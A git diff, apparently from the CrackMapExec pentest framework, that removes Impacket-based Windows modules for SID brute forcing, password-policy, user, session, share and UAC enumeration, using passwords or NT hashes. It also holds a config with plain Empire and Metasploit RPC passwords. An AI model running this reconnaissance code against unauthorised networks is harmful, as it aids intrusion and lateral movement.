||||||
except:
|
|
||||||
self.logger.success('UseLogonCredential registry key not present')
|
|
||||||
|
|
||||||
try:
|
|
||||||
remoteOps.finish()
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
|
|
||||||
return
|
|
||||||
|
|
||||||
try:
|
|
||||||
#Check to make sure the reg key is actually deleted
|
|
||||||
rtype, data = rrp.hBaseRegQueryValue(self.rrp, keyHandle, 'UseLogonCredential\x00')
|
|
||||||
except DCERPCException:
|
|
||||||
self.logger.success('UseLogonCredential registry key deleted successfully')
|
|
||||||
|
|
||||||
try:
|
|
||||||
remoteOps.finish()
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
|
|
|
@ -1 +1 @@
|
||||||
Subproject commit 262a260865d408808ab332f972d410d3b861eff1
|
Subproject commit c7985c9bc31e92bb6243c177d7d1d7e68b6f1816
|
|
@ -1,3 +1,6 @@
|
||||||
|
[CME]
|
||||||
|
workspace=default
|
||||||
|
|
||||||
[Empire]
|
[Empire]
|
||||||
api_host=127.0.0.1
|
api_host=127.0.0.1
|
||||||
api_port=1337
|
api_port=1337
|
||||||
|
@ -7,4 +10,4 @@ password=Password123!
|
||||||
[Metasploit]
|
[Metasploit]
|
||||||
rpc_host=127.0.0.1
|
rpc_host=127.0.0.1
|
||||||
rpc_port=55552
|
rpc_port=55552
|
||||||
password=abc123
|
password=abc123
|
||||||
|
|
|
@ -0,0 +1,21 @@
|
||||||
|
https://www.youtube.com/watch?v=dQw4w9WgXcQ
|
||||||
|
https://www.youtube.com/watch?v=l12Csc_lW0Q
|
||||||
|
https://www.youtube.com/watch?v=wBqM2ytqHY4
|
||||||
|
https://www.youtube.com/watch?v=N1zL13LvxS8
|
||||||
|
https://imgur.com/gallery/s1hLouN
|
||||||
|
https://www.youtube.com/watch?v=Tay791Nprx0
|
||||||
|
https://www.youtube.com/watch?v=rOGbMwXnlQM
|
||||||
|
https://www.youtube.com/watch?v=mv8mV5X0MR8
|
||||||
|
https://www.youtube.com/watch?v=nH2gUPTFCfo
|
||||||
|
https://www.youtube.com/watch?v=zzfQwXEqYaI
|
||||||
|
https://www.youtube.com/watch?v=yuwprXAaSv0
|
||||||
|
https://i.imgur.com/aTr6Afr.gifv
|
||||||
|
https://www.youtube.com/watch?v=SZoiJM1vlfc
|
||||||
|
https://www.youtube.com/watch?v=IvDeXaiBy3I
|
||||||
|
https://www.youtube.com/watch?v=G0cqV3h-aDA
|
||||||
|
https://www.youtube.com/watch?v=q6yHoSvrTss
|
||||||
|
https://www.youtube.com/watch?v=jnHFYTjk4MQ
|
||||||
|
https://www.youtube.com/watch?v=tVj0ZTS4WF4
|
||||||
|
https://www.youtube.com/watch?v=q6EoRBvdVPQ
|
||||||
|
https://www.youtube.com/watch?v=Sagg08DrO5U
|
||||||
|
https://www.youtube.com/watch?v=z9Uz1icjwrM
|
|
@ -1,124 +0,0 @@
|
||||||
#!/usr/bin/python
|
|
||||||
# Copyright (c) 2012-2015 CORE Security Technologies
|
|
||||||
#
|
|
||||||
# This software is provided under under a slightly modified version
|
|
||||||
# of the Apache Software License. See the accompanying LICENSE file
|
|
||||||
# for more information.
|
|
||||||
#
|
|
||||||
# DCE/RPC lookup sid brute forcer example
|
|
||||||
#
|
|
||||||
# Author:
|
|
||||||
# Alberto Solino (@agsolino)
|
|
||||||
#
|
|
||||||
# Reference for:
|
|
||||||
# DCE/RPC [MS-LSAT]
|
|
||||||
|
|
||||||
import sys
|
|
||||||
import logging
|
|
||||||
import codecs
|
|
||||||
import traceback
|
|
||||||
|
|
||||||
from impacket import version
|
|
||||||
from impacket.dcerpc.v5 import transport, lsat, lsad
|
|
||||||
from impacket.dcerpc.v5.samr import SID_NAME_USE
|
|
||||||
from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
|
|
||||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
|
||||||
|
|
||||||
|
|
||||||
class LSALookupSid:
|
|
||||||
KNOWN_PROTOCOLS = {
|
|
||||||
'139/SMB': (r'ncacn_np:%s[\pipe\lsarpc]', 139),
|
|
||||||
'445/SMB': (r'ncacn_np:%s[\pipe\lsarpc]', 445)
|
|
||||||
#'135/TCP': (r'ncacn_ip_tcp:%s', 135),
|
|
||||||
}
|
|
||||||
|
|
||||||
def __init__(self, connection):
|
|
||||||
self.__logger = connection.logger
|
|
||||||
self.__addr = connection.host
|
|
||||||
self.__username = connection.username
|
|
||||||
self.__password = connection.password
|
|
||||||
self.__protocol = connection.args.smb_port
|
|
||||||
self.__hash = connection.hash
|
|
||||||
self.__maxRid = int(connection.args.rid_brute)
|
|
||||||
self.__domain = connection.domain
|
|
||||||
self.__lmhash = ''
|
|
||||||
self.__nthash = ''
|
|
||||||
|
|
||||||
if self.__hash is not None:
|
|
||||||
self.__lmhash, self.__nthash = self.__hash.split(':')
|
|
||||||
|
|
||||||
if self.__password is None:
|
|
||||||
self.__password = ''
|
|
||||||
|
|
||||||
def brute_force(self):
|
|
||||||
|
|
||||||
logging.info('Brute forcing SIDs at %s' % self.__addr)
|
|
||||||
|
|
||||||
protodef = LSALookupSid.KNOWN_PROTOCOLS['{}/SMB'.format(self.__protocol)]
|
|
||||||
port = protodef[1]
|
|
||||||
|
|
||||||
logging.info("Trying protocol %s..." % self.__protocol)
|
|
||||||
stringbinding = protodef[0] % self.__addr
|
|
||||||
|
|
||||||
rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
|
||||||
rpctransport.set_dport(port)
|
|
||||||
if hasattr(rpctransport, 'set_credentials'):
|
|
||||||
# This method exists only for selected protocol sequences.
|
|
||||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
|
||||||
|
|
||||||
try:
|
|
||||||
self.__logger.success("Brute forcing SIDs (rid:domain:user)")
|
|
||||||
self.__bruteForce(rpctransport, self.__maxRid)
|
|
||||||
except Exception as e:
|
|
||||||
traceback.print_exc()
|
|
||||||
|
|
||||||
def __bruteForce(self, rpctransport, maxRid):
|
|
||||||
dce = rpctransport.get_dce_rpc()
|
|
||||||
dce.connect()
|
|
||||||
|
|
||||||
# Want encryption? Uncomment next line
|
|
||||||
# But make SIMULTANEOUS variable <= 100
|
|
||||||
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
|
|
||||||
|
|
||||||
# Want fragmentation? Uncomment next line
|
|
||||||
#dce.set_max_fragment_size(32)
|
|
||||||
|
|
||||||
dce.bind(lsat.MSRPC_UUID_LSAT)
|
|
||||||
resp = lsat.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
|
|
||||||
policyHandle = resp['PolicyHandle']
|
|
||||||
|
|
||||||
resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
|
|
||||||
|
|
||||||
domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
|
|
||||||
|
|
||||||
soFar = 0
|
|
||||||
SIMULTANEOUS = 1000
|
|
||||||
for j in range(maxRid/SIMULTANEOUS+1):
|
|
||||||
if (maxRid - soFar) / SIMULTANEOUS == 0:
|
|
||||||
sidsToCheck = (maxRid - soFar) % SIMULTANEOUS
|
|
||||||
else:
|
|
||||||
sidsToCheck = SIMULTANEOUS
|
|
||||||
|
|
||||||
if sidsToCheck == 0:
|
|
||||||
break
|
|
||||||
|
|
||||||
sids = list()
|
|
||||||
for i in xrange(soFar, soFar+sidsToCheck):
|
|
||||||
sids.append(domainSid + '-%d' % i)
|
|
||||||
try:
|
|
||||||
lsat.hLsarLookupSids(dce, policyHandle, sids,lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
|
|
||||||
except DCERPCException, e:
|
|
||||||
if str(e).find('STATUS_NONE_MAPPED') >= 0:
|
|
||||||
soFar += SIMULTANEOUS
|
|
||||||
continue
|
|
||||||
elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0:
|
|
||||||
resp = e.get_packet()
|
|
||||||
else:
|
|
||||||
raise
|
|
||||||
|
|
||||||
for n, item in enumerate(resp['TranslatedNames']['Names']):
|
|
||||||
if item['Use'] != SID_NAME_USE.SidTypeUnknown:
|
|
||||||
self.__logger.highlight("%d: %s\\%s (%s)" % (soFar+n, resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'], SID_NAME_USE.enumItems(item['Use']).name))
|
|
||||||
soFar += SIMULTANEOUS
|
|
||||||
|
|
||||||
dce.disconnect()
|
|
|
@ -1,132 +0,0 @@
|
||||||
import sys
|
|
||||||
import codecs
|
|
||||||
import logging
|
|
||||||
|
|
||||||
from impacket.nt_errors import STATUS_MORE_ENTRIES
|
|
||||||
from impacket.dcerpc.v5 import transport, samr
|
|
||||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
|
||||||
from time import strftime, gmtime
|
|
||||||
|
|
||||||
class PassPolDump:
|
|
||||||
KNOWN_PROTOCOLS = {
|
|
||||||
'139/SMB': (r'ncacn_np:%s[\pipe\samr]', 139),
|
|
||||||
'445/SMB': (r'ncacn_np:%s[\pipe\samr]', 445),
|
|
||||||
}
|
|
||||||
|
|
||||||
def __init__(self, connection):
|
|
||||||
self.logger = connection.logger
|
|
||||||
self.addr = connection.host
|
|
||||||
self.protocol = connection.args.smb_port
|
|
||||||
self.username = connection.username
|
|
||||||
self.password = connection.password
|
|
||||||
self.domain = connection.domain
|
|
||||||
self.hash = connection.hash
|
|
||||||
self.lmhash = ''
|
|
||||||
self.nthash = ''
|
|
||||||
self.aesKey = None
|
|
||||||
self.doKerberos = False
|
|
||||||
|
|
||||||
if self.hash is not None:
|
|
||||||
self.lmhash, self.nthash = self.hash.split(':')
|
|
||||||
|
|
||||||
if self.password is None:
|
|
||||||
self.password = ''
|
|
||||||
|
|
||||||
def enum(self):
|
|
||||||
|
|
||||||
#logging.info('Retrieving endpoint list from %s' % addr)
|
|
||||||
|
|
||||||
entries = []
|
|
||||||
|
|
||||||
protodef = PassPolDump.KNOWN_PROTOCOLS['{}/SMB'.format(self.protocol)]
|
|
||||||
port = protodef[1]
|
|
||||||
|
|
||||||
logging.info("Trying protocol %s..." % self.protocol)
|
|
||||||
rpctransport = transport.SMBTransport(self.addr, port, r'\samr', self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos = self.doKerberos)
|
|
||||||
|
|
||||||
dce = rpctransport.get_dce_rpc()
|
|
||||||
dce.connect()
|
|
||||||
|
|
||||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
|
||||||
|
|
||||||
resp = samr.hSamrConnect(dce)
|
|
||||||
serverHandle = resp['ServerHandle']
|
|
||||||
|
|
||||||
resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle)
|
|
||||||
domains = resp['Buffer']['Buffer']
|
|
||||||
|
|
||||||
resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, domains[0]['Name'])
|
|
||||||
|
|
||||||
resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId'])
|
|
||||||
domainHandle = resp['DomainHandle']
|
|
||||||
|
|
||||||
self.logger.success('Dumping password policy')
|
|
||||||
self.get_pass_pol(self.addr, rpctransport, dce, domainHandle)
|
|
||||||
|
|
||||||
def convert(self, low, high, no_zero):
|
|
||||||
|
|
||||||
if low == 0 and hex(high) == "-0x80000000":
|
|
||||||
return "Not Set"
|
|
||||||
if low == 0 and high == 0:
|
|
||||||
return "None"
|
|
||||||
if no_zero: # make sure we have a +ve vale for the unsined int
|
|
||||||
if (low != 0):
|
|
||||||
high = 0 - (high+1)
|
|
||||||
else:
|
|
||||||
high = 0 - (high)
|
|
||||||
low = 0 - low
|
|
||||||
tmp = low + (high)*16**8 # convert to 64bit int
|
|
||||||
tmp *= (1e-7) # convert to seconds
|
|
||||||
try:
|
|
||||||
minutes = int(strftime("%M", gmtime(tmp))) # do the conversion to human readable format
|
|
||||||
except ValueError, e:
|
|
||||||
return "BAD TIME:"
|
|
||||||
hours = int(strftime("%H", gmtime(tmp)))
|
|
||||||
days = int(strftime("%j", gmtime(tmp)))-1
|
|
||||||
time = ""
|
|
||||||
if days > 1:
|
|
||||||
time = str(days) + " days "
|
|
||||||
elif days == 1:
|
|
||||||
time = str(days) + " day "
|
|
||||||
if hours > 1:
|
|
||||||
time += str(hours) + " hours "
|
|
||||||
elif hours == 1:
|
|
||||||
time = str(days) + " hour "
|
|
||||||
if minutes > 1:
|
|
||||||
time += str(minutes) + " minutes"
|
|
||||||
elif minutes == 1:
|
|
||||||
time = str(days) + " minute "
|
|
||||||
return time
|
|
||||||
|
|
||||||
def get_pass_pol(self, host, rpctransport, dce, domainHandle):
|
|
||||||
|
|
||||||
resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation)
|
|
||||||
|
|
||||||
min_pass_len = resp['Buffer']['Password']['MinPasswordLength']
|
|
||||||
|
|
||||||
pass_hst_len = resp['Buffer']['Password']['PasswordHistoryLength']
|
|
||||||
|
|
||||||
self.logger.highlight('Minimum password length: {}'.format(min_pass_len))
|
|
||||||
self.logger.highlight('Password history length: {}'.format(pass_hst_len))
|
|
||||||
|
|
||||||
max_pass_age = self.convert(resp['Buffer']['Password']['MaxPasswordAge']['LowPart'],
|
|
||||||
resp['Buffer']['Password']['MaxPasswordAge']['HighPart'],
|
|
||||||
1)
|
|
||||||
|
|
||||||
min_pass_age = self.convert(resp['Buffer']['Password']['MinPasswordAge']['LowPart'],
|
|
||||||
resp['Buffer']['Password']['MinPasswordAge']['HighPart'],
|
|
||||||
1)
|
|
||||||
|
|
||||||
self.logger.highlight('Maximum password age: {}'.format(max_pass_age))
|
|
||||||
self.logger.highlight('Minimum password age: {}'.format(min_pass_age))
|
|
||||||
|
|
||||||
resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation)
|
|
||||||
|
|
||||||
lock_threshold = int(resp['Buffer']['Lockout']['LockoutThreshold'])
|
|
||||||
|
|
||||||
self.logger.highlight("Account lockout threshold: {}".format(lock_threshold))
|
|
||||||
|
|
||||||
lock_duration = None
|
|
||||||
if lock_threshold != 0: lock_duration = int(resp['Buffer']['Lockout']['LockoutDuration']) / -600000000
|
|
||||||
|
|
||||||
self.logger.highlight("Account lockout duration: {}".format(lock_duration))
|
|
|
@ -1,107 +0,0 @@
|
||||||
from impacket.dcerpc.v5 import transport, srvs, wkst
|
|
||||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
|
||||||
from impacket.dcerpc.v5.dtypes import NULL
|
|
||||||
|
|
||||||
class RPCQUERY():
|
|
||||||
def __init__(self, connection):
|
|
||||||
self.logger = connection.logger
|
|
||||||
self.connection = connection
|
|
||||||
self.host = connection.host
|
|
||||||
self.username = connection.username
|
|
||||||
self.password = connection.password
|
|
||||||
self.domain = connection.domain
|
|
||||||
self.hash = connection.hash
|
|
||||||
self.nthash = ''
|
|
||||||
self.lmhash = ''
|
|
||||||
self.local_ip = None
|
|
||||||
self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
|
|
||||||
if self.password is None:
|
|
||||||
self.password = ''
|
|
||||||
if self.hash:
|
|
||||||
self.lmhash, self.nthash = self.hash.split(':')
|
|
||||||
|
|
||||||
def connect(self, service):
|
|
||||||
|
|
||||||
if service == 'wkssvc':
|
|
||||||
stringBinding = r'ncacn_np:{}[\PIPE\wkssvc]'.format(self.host)
|
|
||||||
elif service == 'srvsvc':
|
|
||||||
stringBinding = r'ncacn_np:{}[\PIPE\srvsvc]'.format(self.host)
|
|
||||||
|
|
||||||
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
|
||||||
rpctransport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
|
||||||
|
|
||||||
dce = rpctransport.get_dce_rpc()
|
|
||||||
dce.connect()
|
|
||||||
|
|
||||||
if service == 'wkssvc':
|
|
||||||
dce.bind(wkst.MSRPC_UUID_WKST, transfer_syntax = self.ts)
|
|
||||||
elif service == 'srvsvc':
|
|
||||||
dce.bind(srvs.MSRPC_UUID_SRVS, transfer_syntax = self.ts)
|
|
||||||
|
|
||||||
self.local_ip = rpctransport.get_smb_server().get_socket().getsockname()[0]
|
|
||||||
return dce, rpctransport
|
|
||||||
|
|
||||||
def enum_lusers(self):
|
|
||||||
dce, rpctransport = self.connect('wkssvc')
|
|
||||||
|
|
||||||
try:
|
|
||||||
resp = wkst.hNetrWkstaUserEnum(dce, 1)
|
|
||||||
lusers = resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']
|
|
||||||
except Exception:
|
|
||||||
return
|
|
||||||
|
|
||||||
self.logger.success("Enumerating logged on users")
|
|
||||||
for user in lusers:
|
|
||||||
self.logger.highlight(u'Username: {}\\{} {}'.format(user['wkui1_logon_domain'],
|
|
||||||
user['wkui1_username'],
|
|
||||||
'LogonServer: {}'.format(user['wkui1_logon_server']) if user['wkui1_logon_server'] != '\x00' else ''))
|
|
||||||
|
|
||||||
def enum_sessions(self):
|
|
||||||
dce, rpctransport = self.connect('srvsvc')
|
|
||||||
|
|
||||||
try:
|
|
||||||
level = 502
|
|
||||||
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, level)
|
|
||||||
sessions = resp['InfoStruct']['SessionInfo']['Level502']['Buffer']
|
|
||||||
except Exception:
|
|
||||||
pass
|
|
||||||
|
|
||||||
try:
|
|
||||||
level = 0
|
|
||||||
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, level)
|
|
||||||
sessions = resp['InfoStruct']['SessionInfo']['Level0']['Buffer']
|
|
||||||
except Exception:
|
|
||||||
return
|
|
||||||
|
|
||||||
self.logger.success("Enumerating active sessions")
|
|
||||||
for session in sessions:
|
|
||||||
if level == 502:
|
|
||||||
if session['sesi502_cname'][:-1] != self.local_ip:
|
|
||||||
self.logger.highlight(u'\\\\{} {} [opens:{} time:{} idle:{}]'.format(session['sesi502_cname'],
|
|
||||||
session['sesi502_username'],
|
|
||||||
session['sesi502_num_opens'],
|
|
||||||
session['sesi502_time'],
|
|
||||||
session['sesi502_idle_time']))
|
|
||||||
|
|
||||||
elif level == 0:
|
|
||||||
if session['sesi0_cname'][:-1] != self.local_ip:
|
|
||||||
self.logger.highlight(u'\\\\{}'.format(session['sesi0_cname']))
|
|
||||||
|
|
||||||
def enum_disks(self):
|
|
||||||
dce, rpctransport = self.connect('srvsvc')
|
|
||||||
|
|
||||||
try:
|
|
||||||
resp = srvs.hNetrServerDiskEnum(dce, 1)
|
|
||||||
except Exception:
|
|
||||||
pass
|
|
||||||
|
|
||||||
try:
|
|
||||||
resp = srvs.hNetrServerDiskEnum(dce, 0)
|
|
||||||
except Exception:
|
|
||||||
return
|
|
||||||
|
|
||||||
self.logger.success("Enumerating disks")
|
|
||||||
for disk in resp['DiskInfoStruct']['Buffer']:
|
|
||||||
for dname in disk.fields.keys():
|
|
||||||
if disk[dname] != '\x00':
|
|
||||||
self.logger.highlight(disk[dname])
|
|
|
@ -1,42 +0,0 @@
|
||||||
from impacket.smbconnection import SessionError
|
|
||||||
from cme.helpers import gen_random_string
|
|
||||||
import random
|
|
||||||
import string
|
|
||||||
import ntpath
|
|
||||||
|
|
||||||
class ShareEnum:
|
|
||||||
|
|
||||||
def __init__(self, connection):
|
|
||||||
self.smbconnection = connection.conn
|
|
||||||
self.logger = connection.logger
|
|
||||||
self.permissions = {}
|
|
||||||
self.root = ntpath.normpath("\\" + gen_random_string())
|
|
||||||
|
|
||||||
def enum(self):
|
|
||||||
for share in self.smbconnection.listShares():
|
|
||||||
share_name = share['shi1_netname'][:-1]
|
|
||||||
self.permissions[share_name] = []
|
|
||||||
|
|
||||||
try:
|
|
||||||
self.smbconnection.listPath(share_name, '*')
|
|
||||||
self.permissions[share_name].append('READ')
|
|
||||||
except SessionError:
|
|
||||||
pass
|
|
||||||
|
|
||||||
try:
|
|
||||||
self.smbconnection.createDirectory(share_name, self.root)
|
|
||||||
self.smbconnection.deleteDirectory(share_name, self.root)
|
|
||||||
self.permissions[share_name].append('WRITE')
|
|
||||||
except SessionError:
|
|
||||||
pass
|
|
||||||
|
|
||||||
self.logger.success('Enumerating shares')
|
|
||||||
self.logger.highlight(u'{:<15} {}'.format('SHARE', 'Permissions'))
|
|
||||||
self.logger.highlight(u'{:<15} {}'.format('-----', '-----------'))
|
|
||||||
for share, perm in self.permissions.iteritems():
|
|
||||||
if not perm:
|
|
||||||
self.logger.highlight(u'{:<15} {}'.format(share, 'NO ACCESS'))
|
|
||||||
else:
|
|
||||||
self.logger.highlight(u'{:<15} {}'.format(share, ', '.join(perm)))
|
|
||||||
|
|
||||||
return self.permissions
|
|
|
@ -1,27 +0,0 @@
|
||||||
from cme.remoteoperations import RemoteOperations
|
|
||||||
from impacket.dcerpc.v5 import rrp
|
|
||||||
|
|
||||||
class UAC:
|
|
||||||
|
|
||||||
def __init__(self, connection):
|
|
||||||
self.logger = connection.logger
|
|
||||||
self.smbconnection = connection.conn
|
|
||||||
self.doKerb = False
|
|
||||||
|
|
||||||
def enum(self):
|
|
||||||
remoteOps = RemoteOperations(self.smbconnection, self.doKerb)
|
|
||||||
remoteOps.enableRegistry()
|
|
||||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
|
||||||
regHandle = ans['phKey']
|
|
||||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System')
|
|
||||||
keyHandle = ans['phkResult']
|
|
||||||
dataType, uac_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'EnableLUA')
|
|
||||||
|
|
||||||
self.logger.success("Enumerating UAC status")
|
|
||||||
if uac_value == 1:
|
|
||||||
self.logger.highlight('1 - UAC Enabled')
|
|
||||||
elif uac_value == 0:
|
|
||||||
self.logger.highlight('0 - UAC Disabled')
|
|
||||||
|
|
||||||
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
|
||||||
remoteOps.finish()
|
|
|
@ -1,149 +0,0 @@
|
||||||
#!/usr/bin/python
|
|
||||||
# Copyright (c) 2003-2015 CORE Security Technologies
|
|
||||||
#
|
|
||||||
# This software is provided under under a slightly modified version
|
|
||||||
# of the Apache Software License. See the accompanying LICENSE file
|
|
||||||
# for more information.
|
|
||||||
#
|
|
||||||
# Description: DCE/RPC SAMR dumper.
|
|
||||||
#
|
|
||||||
# Author:
|
|
||||||
# Javier Kohen <jkohen@coresecurity.com>
|
|
||||||
# Alberto Solino (@agsolino)
|
|
||||||
#
|
|
||||||
# Reference for:
|
|
||||||
# DCE/RPC for SAMR
|
|
||||||
|
|
||||||
import logging
|
|
||||||
|
|
||||||
from impacket.nt_errors import STATUS_MORE_ENTRIES
|
|
||||||
from impacket.dcerpc.v5 import transport, samr
|
|
||||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
|
||||||
|
|
||||||
class ListUsersException(Exception):
|
|
||||||
pass
|
|
||||||
|
|
||||||
class SAMRDump:
|
|
||||||
|
|
||||||
def __init__(self, connection):
|
|
||||||
|
|
||||||
self.__username = connection.username
|
|
||||||
self.__addr = connection.host
|
|
||||||
self.__port = connection.args.smb_port
|
|
||||||
self.__password = connection.password
|
|
||||||
self.__domain = connection.domain
|
|
||||||
self.__hash = connection.hash
|
|
||||||
self.__lmhash = ''
|
|
||||||
self.__nthash = ''
|
|
||||||
self.__aesKey = None
|
|
||||||
self.__doKerberos = False
|
|
||||||
self.__logger = connection.logger
|
|
||||||
|
|
||||||
if self.__hash is not None:
|
|
||||||
self.__lmhash, self.__nthash = self.__hash.split(':')
|
|
||||||
|
|
||||||
if self.__password is None:
|
|
||||||
self.__password = ''
|
|
||||||
|
|
||||||
def enum(self):
|
|
||||||
"""Dumps the list of users and shares registered present at
|
|
||||||
remoteName. remoteName is a valid host name or IP address.
|
|
||||||
"""
|
|
||||||
|
|
||||||
entries = []
|
|
||||||
|
|
||||||
logging.info('Retrieving endpoint list from %s' % self.__addr)
|
|
||||||
|
|
||||||
stringbinding = 'ncacn_np:%s[\pipe\samr]' % self.__addr
|
|
||||||
logging.debug('StringBinding %s'%stringbinding)
|
|
||||||
rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
|
||||||
rpctransport.set_dport(self.__port)
|
|
||||||
|
|
||||||
if hasattr(rpctransport, 'setRemoteHost'):
|
|
||||||
rpctransport.setRemoteHost(self.__addr)
|
|
||||||
if hasattr(rpctransport, 'set_credentials'):
|
|
||||||
# This method exists only for selected protocol sequences.
|
|
||||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
|
|
||||||
self.__nthash)# self.__aesKey)
|
|
||||||
#rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
|
||||||
|
|
||||||
try:
|
|
||||||
entries = self.__fetchList(rpctransport)
|
|
||||||
except Exception, e:
|
|
||||||
logging.critical(str(e))
|
|
||||||
|
|
||||||
# Display results.
|
|
||||||
|
|
||||||
self.__logger.success('Dumping users')
|
|
||||||
for entry in entries:
|
|
||||||
(username, uid, user) = entry
|
|
||||||
base = "%s (%d)" % (username, uid)
|
|
||||||
self.__logger.highlight(u'{}/FullName: {}'.format(base, user['FullName']))
|
|
||||||
self.__logger.highlight(u'{}/UserComment: {}' .format(base, user['UserComment']))
|
|
||||||
self.__logger.highlight(u'{}/PrimaryGroupId: {}'.format(base, user['PrimaryGroupId']))
|
|
||||||
self.__logger.highlight(u'{}/BadPasswordCount: {}'.format(base, user['BadPasswordCount']))
|
|
||||||
self.__logger.highlight(u'{}/LogonCount: {}'.format(base, user['LogonCount']))
|
|
||||||
|
|
||||||
if entries:
|
|
||||||
num = len(entries)
|
|
||||||
if 1 == num:
|
|
||||||
logging.info('Received one entry.')
|
|
||||||
else:
|
|
||||||
logging.info('Received %d entries.' % num)
|
|
||||||
else:
|
|
||||||
logging.info('No entries received.')
|
|
||||||
|
|
||||||
|
|
||||||
def __fetchList(self, rpctransport):
|
|
||||||
dce = rpctransport.get_dce_rpc()
|
|
||||||
|
|
||||||
entries = []
|
|
||||||
|
|
||||||
dce.connect()
|
|
||||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
|
||||||
|
|
||||||
try:
|
|
||||||
resp = samr.hSamrConnect(dce)
|
|
||||||
serverHandle = resp['ServerHandle']
|
|
||||||
|
|
||||||
resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle)
|
|
||||||
domains = resp['Buffer']['Buffer']
|
|
||||||
|
|
||||||
logging.info('Found domain(s):')
|
|
||||||
for domain in domains:
|
|
||||||
logging.info(" . %s" % domain['Name'])
|
|
||||||
|
|
||||||
logging.info("Looking up users in domain %s" % domains[0]['Name'])
|
|
||||||
|
|
||||||
resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,domains[0]['Name'] )
|
|
||||||
|
|
||||||
resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId'])
|
|
||||||
domainHandle = resp['DomainHandle']
|
|
||||||
|
|
||||||
status = STATUS_MORE_ENTRIES
|
|
||||||
enumerationContext = 0
|
|
||||||
while status == STATUS_MORE_ENTRIES:
|
|
||||||
try:
|
|
||||||
resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext = enumerationContext)
|
|
||||||
except DCERPCException as e:
|
|
||||||
if str(e).find('STATUS_MORE_ENTRIES') < 0:
|
|
||||||
raise
|
|
||||||
resp = e.get_packet()
|
|
||||||
|
|
||||||
for user in resp['Buffer']['Buffer']:
|
|
||||||
r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user['RelativeId'])
|
|
||||||
logging.info(u"Found user: %s, uid = %d" % (user['Name'], user['RelativeId']))
|
|
||||||
info = samr.hSamrQueryInformationUser2(dce, r['UserHandle'],samr.USER_INFORMATION_CLASS.UserAllInformation)
|
|
||||||
entry = (user['Name'], user['RelativeId'], info['Buffer']['All'])
|
|
||||||
entries.append(entry)
|
|
||||||
samr.hSamrCloseHandle(dce, r['UserHandle'])
|
|
||||||
|
|
||||||
enumerationContext = resp['EnumerationContext']
|
|
||||||
status = resp['ErrorCode']
|
|
||||||
|
|
||||||
except ListUsersException, e:
|
|
||||||
logging.critical("Error listing users: %s" % e)
|
|
||||||
|
|
||||||
dce.disconnect()
|
|
||||||
|
|
||||||
return entries
|
|
|
@ -1,107 +0,0 @@
|
||||||
#!/usr/bin/python
|
|
||||||
# Copyright (c) 2003-2015 CORE Security Technologies
|
|
||||||
#
|
|
||||||
# This software is provided under under a slightly modified version
|
|
||||||
# of the Apache Software License. See the accompanying LICENSE file
|
|
||||||
# for more information.
|
|
||||||
#
|
|
||||||
# Description: [MS-WMI] example. It allows to issue WQL queries and
|
|
||||||
# get description of the objects.
|
|
||||||
#
|
|
||||||
# e.g.: select name from win32_account
|
|
||||||
# e.g.: describe win32_process
|
|
||||||
#
|
|
||||||
# Author:
|
|
||||||
# Alberto Solino (@agsolino)
|
|
||||||
#
|
|
||||||
# Reference for:
|
|
||||||
# DCOM
|
|
||||||
#
|
|
||||||
import logging
|
|
||||||
import traceback
|
|
||||||
|
|
||||||
from impacket.dcerpc.v5.dtypes import NULL
|
|
||||||
from impacket.dcerpc.v5.dcom import wmi
|
|
||||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
|
||||||
|
|
||||||
class WMIQUERY:
|
|
||||||
|
|
||||||
def __init__(self, connection):
|
|
||||||
self.__logger = connection.logger
|
|
||||||
self.__addr = connection.host
|
|
||||||
self.__username = connection.username
|
|
